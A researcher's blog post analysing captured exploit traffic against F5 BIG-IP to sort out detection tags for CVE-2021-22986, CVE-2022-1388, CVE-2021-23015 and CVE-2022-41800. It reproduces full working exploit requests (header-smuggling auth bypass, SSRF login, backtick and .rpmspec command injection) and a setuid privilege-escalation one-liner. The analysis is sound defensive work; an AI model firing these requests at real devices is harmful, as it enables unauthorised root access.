As you might know from this recent post, I’m a bit of a nerd when it comes to F5 BIG-IP vulnerabilities. That’s why, while reviewing logs from Sift, I was intrigued by this request:
POST /mgmt/shared/authn/login HTTP/1.1
Authorization: Basic Og==
Connection: Keep-Alive
Content-Length: 121
Content-Type: application/x-www-form-urlencoded
Host: <ip>:80
Qualys-Scan: VM
User-Agent: <ua-removed>
{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}
When I saw it, it had no tag, but seemed to be trying to perform a shell-injection attack against the filePath
parameter in the F5 BIG-IP login page. Hmm!
While I didn’t recognize the specific request, it looked a bit like CVE-2021-22986, an SSRF issue that targets the same loginReference
endpoint. I wondered for a moment whether it’s an 0-day, but then I noticed the Qualys-Scan
header, and would have found it rather surprising if Qualys was blasting the internet with an 0-day (that’d be pretty rad, though!)
Since I didn’t personally work on CVE-2021-22986, I dug up the Metasploit module for it, written by none other than Will Vu. That code does contain references to loginReference
:
'loginReference' => {
'link' => "https://localhost#{login_reference_endpoint}"
},
But, nothing about filePath
, which is where we see an apparent shell-injection issue being exploited. Hmm! The trail’s growing cold, but I kept digging. Checking the module’s references, I found wvu’s AttackerKB write-up for CVE-2021-22986. That blog does reference the filePath
endpoint:
PoC
The affected endpoint is
/mgmt/tm/access/bundle-install-tasks
.wvu@kharak:~$ curl -ksu admin:[redacted] https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d ‘{“filePath”:“
id
”}’ | jq . { “filePath”: “id
”, “toBeInstalledAppRpmsIndex”: -1, “id”: “36671f83-d1be-4f5a-a2e6-7f9442a2a76f”,[...]
I wasn’t clear on why the write-up used the filePath
nonsense and the exploit did not, so I decided to go onto the next step: interviewing witnesses! But would anybody remember what they did in checks post March of 2021? That’s nearly three years ago! The conversation went something like:
Ron @wvu Hey, I’m trying to untangle some weirdness in our F5 tags, and I’m trying to figure out what CVE-2021-22986 actually is. You did all the R7 write-ups, I don’t suppose you remember?)
wvu I actually revisited this a couple weeks ago
wvu Porting MSF modules to
go-exploit
:)(185 more replies)
In that long conversation, we sorted out what’s what, and now I’m going to summarize it all here!
“I Can’t Believe They’re Not Vulns!”
Before we can really understand how an F5 BIG-IP vulnerability works, we need to understand a bit about some features of the platform that look suspiciously like vulnerabilities but kinda-sorta aren’t. You’ll see what I mean. :)
First, the Jetty server that listens on localhost-only. I wrote about it in the past and brandonshi123 wrote about it on y4y, so I’m not going to go too deeply into it. The short version is: F5 BIG-IP runs a Jetty server on localhost:8100
that handles API calls but doesn’t require authentication. That means that there’s a very short path between SSRF and RCE on this platform. Here, we can hit an admin-only endpoint if we connect to it via localhost
(which an attacker, of course, can’t typically do):
# curl -sH "Content-Type: application/json" -u admin:invalidpw http://localhost:8100/mgmt/tm/ltm/pool | jq
{
"kind": "tm:ltm:pool:poolcollectionstate",
"selfLink": "https://localhost/mgmt/tm/ltm/pool?ver=17.1.1",
"items": [] }
Second, the /mgmt/tm/util/bash
endpoint. The /mgmt/tm/util/bash
endpoint is authenticated-RCE-as-a-service, but to this day is there by default. It’s just asking for trouble IMO, but at least it it’s easy to detect! Behold:
$ curl -ks 'https://10.0.0.38/mgmt/tm/util/bash' -u admin:admin -H 'Content-Type: application/json' --data-binary '{"command": "run", "utilCmdArgs": "-c id"}' | jq
{
"kind": "tm:util:bash:runstate",
"command": "run",
"utilCmdArgs": "-c id",
"commandResult": "uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n" }
It requires authentication, but it runs code as root. That’s pretty awesome, right? You can even combine these two not-vulnerabilities into a.. local command execution? See for yourself:
# curl -sH "Content-Type: application/json" -u admin:invalidpw http://localhost:8100/mgmt/tm/util/bash --data '{"command": "run", "utilCmdArgs": "-c id"}' | jq
{
"kind": "tm:util:bash:runstate",
"command": "run",
"utilCmdArgs": "-c id",
"commandResult": "uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n" }
If nothing else, it’s built-in privilege escalation. If you’re on the host with any account, it’s trivial to upgrade it:
bash-4.2$ whoami
apache
bash-4.2$ curl -sH "Content-Type: application/json" -u admin:invalidpw http://localhost:8100/mgmt/tm/util/bash --data '{"command": "run", "utilCmdArgs": "-c \"cp /bin/whoami /tmp/whoami && chmod +s /tmp/whoami\""}' >/dev/null
bash-4.2$ ./whoami root
And, this all works in the latest version of F5 BIG-IP (which, as of this writing, is 17.1.1). Because these are either post-auth or localhost-only, they technically aren’t vulnerabilities.
Obviously, accessing that /bash
endpoint is pretty suspicious, so I went ahead and updated the F5 BIG-IP iControl RCE Attempt tag, which used to detect several different things, to specifically track folks hitting that exact endpoint.
With that context in mind, let’s look at some other vulnerabilities!
I Can Believe These ARE Vulnerabilities!
Let’s go through a few different F5 BIG-IP vulnerabilities and look at what they actually are. If for no other reason, I wanted a good historical record that I can come back to some day.
I’m going to further separate the F5 BIG-IP vulnerabilities into two groups: pre-authentication and post-authentication. It’s weird to even talk about the post-authentication attacks, because, as you’ll see, they’re mostly indistinguishable from just using the /mgmt/tm/util/bash
endpoint.
Pre-Authentication Vulnerabilities
Auth Bypass via Header Smuggling: CVE-2022-1388
CVE-2022-1388 is an authentication bypass issue due to header injection. The advisory is here and here, Metasploit module is here, and I wrote about it at length here.
Here’s what the attack looks like (taken directly from a request sent to one of our sensors):
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46aG9yaXpvbjM=
Connection: X-F5-Auth-Token
Content-Length: 44
Content-Type: application/json
User-Agent: <ua-removed>
X-F5-Auth-Token: asdf
{"command": "run", "utilCmdArgs": "-c 'id'"}
How to recognize CVE-2022-1388:
- The
Host
header is set tolocalhost
or127.0.0.1
- The authorization header contains a valid username and any password (in our example, the account is
admin:horizon3
- I love that they’re using Horizon3’s literal exploit) - An
X-F5-Auth-Token
containing any value is present - A
Connection
header is set toX-F5-Auth-Token
What happens, in brief, is that the front-end (Apache) server sees that the X-F5-Auth-Token
header is present, and sends it to Jetty for validation. The Connection
header tells Apache to remove the X-F5-Auth-Token
en route to Jetty (did you know the Connection
header can do that?). The back-end sees a request the Host
header set to 127.0.0.1
and with no X-F5-Auth-Token
header and, as discussed above, permits the request with no authentication.
Once we have an authentication bypass, what do we do with it? In this exploit, it uses the /mgmt/tm/util/bash
endpoint to run the id
command. There’s no reason it has to use that endpoint, however - that’s just a convenient way to leverage an authentication bypass issue to run code.
Auth Bypass via SSRF: CVE-2021-22986
Next, we have CVE-2021-22986. This is where it’s already going to get a bit complex, because they apparently patched two different vulnerabilities under this one patch.
The first is the authentication bypass exploited by Will Vu’s Metasploit module. Here’s what a request hitting our sensor looks like:
POST /mgmt/shared/authn/login HTTP/1.1
Host: <IP_ADDRESS>
Connection: close
Accept-Encoding: gzip
Accept-Language: en
Authorization: Basic YWRtaW46
Connection: close
Content-Length: 103
Content-Type: application/json
Cookie: BIGIPAuthCookie=1234
User-Agent: <ua-removed>
{"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}
How to recognize CVE-2021-22986:
- A POST request to the login endpoint -
/mgmt/shared/authn/login
- A
loginReference
field in the body that points to localhost - a bunch of different endpoints can be used here - A
userReference
field must exist, though I’m not 100% clear on what it does
As far as I can tell, the BIGIPAuthCookie
isn’t required, but setting it to 1234
in that example tells me that we’re probably looking at a scanner using Project Discovery’s data.
Exploiting CVE-2021-22986 gives you an authorized session. Like other vulnerabilities, the Metasploit module leverages the /mgmt/tm/util/bash
endpoint to actually execute code, so you’d expect to see a request to that endpoint immediately after.
CVE-2021-22986 Bonus Vulnerability!
So now to add some confusion… here’s a different analysis with a different exploit.
Since the software is long gone, I haven’t been able to validate, but they appear to have patched a second vulnerability in the same patch! It seems that if you set an Authorization
header as well as an empty X-F5-Auth-Token
header, the request will be processed by the Jetty server just like CVE-2022-1388!
Since we weren’t previously tracking this, I added it to the CVE-2021-22986 tag. I did a query over the past seven days and found what appears to be two different exploits; the first is pretty similar to what we’ve already seen:
POST /mgmt/tm/util/bash HTTP/1.1
Host: <IP_ADDRESS>
Authorization: Basic YWRtaW46cG9jdGVzdA==
Connection: Keep-Alive
Content-Length: 42
Content-Type: application/json
Qualys-Scan: VM
User-Agent: <ua-removed>
X-F5-Auth-Token:
{"utilCmdArgs": "-c id", "command": "run"}
And the second is somewhat interesting, because, while it still hits the /mgmt/tm/util/bash
endpoint, it’s validating that the exploit works using a math operation - a bit of a CAPTCHA to try and catch honeypots:
POST /mgmt/tm/util/bash HTTP/1.1
Host: <IP_ADDRESS>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip
Accept-Language: en
Authorization: Basic YWRtaW46
Content-Length: 65
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: <ua-removed>
X-F5-Auth-Token:
{"command":"run","utilCmdArgs":"-c 'expr 976910294 + 851620832'"}
Some Googling for expr
next to the payload doesn’t find any obvious source for this. Interesting! I’d be curious what’s sending these requests (I removed the User-Agent
, but it’s nothing telling).
Post-Authentication Vulnerabilities
Post-auth vulnerabilities are kinda weird, because of /mgmt/tm/util/bash
. I guess it comes down to permissions or being able to configure security - these vulnerabilities allow users to execute code remotely who don’t necessarily have access to /mgmt/tm/util/bash
. In any case, I want to call these out because they’re typically combined with one of the issues above. That’s where things get kinda confusing - these, alone, aren’t remote exploits; they require a valid password, session token, or authentication bypass!
Authenticated Code Execution via .rpmspec Injection - CVE-2022-41800
I actually found this vulnerability and wrote the disclosure, the Metasploit module, and even a recent blog here.
Here’s what a real-world exploit looks like (once again, this is from a real packet that hit one of our sensors):
POST /mgmt/shared/iapp/rpm-spec-creator HTTP/1.1
Connection: keep-alive, X-F5-Auth-Token
Content-Length: 249
User-Agent: <ua-removed>
Accept-Encoding: gzip, deflate
Accept: */*
Content-type: application/json
X-F5-Auth-Token: anything
Authorization: Basic YWRtaW46
Host: localhost
{"specFileData": {"name": "test", "srcBasePath": "/tmp", "version": "test6", "release": "test7", "description": "test8\n\n%check\nsh -c 'echo kl7l 2>&1' > /var/iapps/www/a.txt;sh -c 'echo sdbiivzx 2>&1' >> /var/iapps/www/a.txt", "summary": "test9"}}
This one sticks out like a sore thumb, but the way to recognize it is:
- A POST request to
/mgmt/shared/iapp/rpm-spec-creator
- A
specFileData
structure that contains newlines (\n
) in the field, followed by a command - Some authentication method
In the example above, the Authorization
and Connection: [...] X-F5-Auth-Token
headers tells us that they’re using CVE-2022-1388 (see above) to exploit CVE-2022-41800.
See why this is confusing? :)
RCE via Command Injection - CVE-2021-23015
And now, the finale! This is where the very first paragraph finally pays off. :)
According to the disclosure, CVE-2021-23015 came out shortly after CVE-2021-22986. The details are limited, and as far as I can tell nobody ever did a write-up.
What is it?
Well, from what I can dig up, it’s actually the vulnerability that inspired this whole post:
POST /mgmt/shared/authn/login HTTP/1.1
Authorization: Basic Og==
Connection: Keep-Alive
Content-Length: 121
Content-Type: application/x-www-form-urlencoded
Host: <ip>:80
Qualys-Scan: VM
User-Agent: <ua-removed>
{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}
Which somewhat lines up with this PoC, mentioned in the CVE-2021-22986 write-up:
wvu@kharak:~$ curl -ksu admin:[redacted] https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '{"filePath":"`id`"}' | jq .
It’s a post-authentication command injection issue. However, it can evidently be accessed via the SSRF issue (CVE-2021-22986) - we don’t have access to the software to validate that, all we can say is that somebody’s trying!
The story, apparently, is several different folks discovered CVE-2021-23015 while working on CVE-2021-22986, and it got patched shortly afterwards. As it was already discussed as part of CVE-2021-22986, and the same vulnerability could be exploited via the good ol’ /mgmt/tm/util/bash
endpoint, nobody thought much of it.
But here we are, years later, seeing a PoC for that vulnerability being randomly fired at the internet.
Anyway, I rolled a new tag to track folks trying to exploit CVE-2021-23015 separately from the CVE-2021-22986 tag.
And, hopefully, that cleans up our F5 detection!
Conclusion
To summarize all that, here are the CVEs, descriptions, and a link to the tags (some of which are old, and some new):
CVE | Description | tag |
---|---|---|
CVE-2021-22986 | Authentication Bypass via SSRF | Tag |
CVE-2022-1388 | Auth Bypass via Header Smuggling | Tag |
CVE-2021-23015 | Post-authentication RCE via Command Injection | Tag |
CVE-2022-41800 | Post-authentication RCE via .rpmspec Injection | Tag |
n/a | Post-authentication RCE via /mgmt/tm/util/bash |
Tag |
References
- CVE-2021-22986 analysis - second issue
- CVE-2021-22986 tag
- CVE-2021-22986 Metasploit module
- CVE-2021-22986 analysis
- CVE-2021-22986 exploit
- CVE-2021-23015 tag
- CVE-2021-23015 advisory
- CVE-2022-1388 tag
- CVE-2022-1388 advisory
- CVE-2022-1388 analysis by Horizon3
- CVE-2022-1388 analysis by Rapid7
- CVE-2022-1388 exploit
- CVE-2022-41800 tag
- CVE-2022-41800 Metasploit module
- CVE-2022-41800 analysis
- General F5 RCE tag
- My previous blog on CVE-2022-41800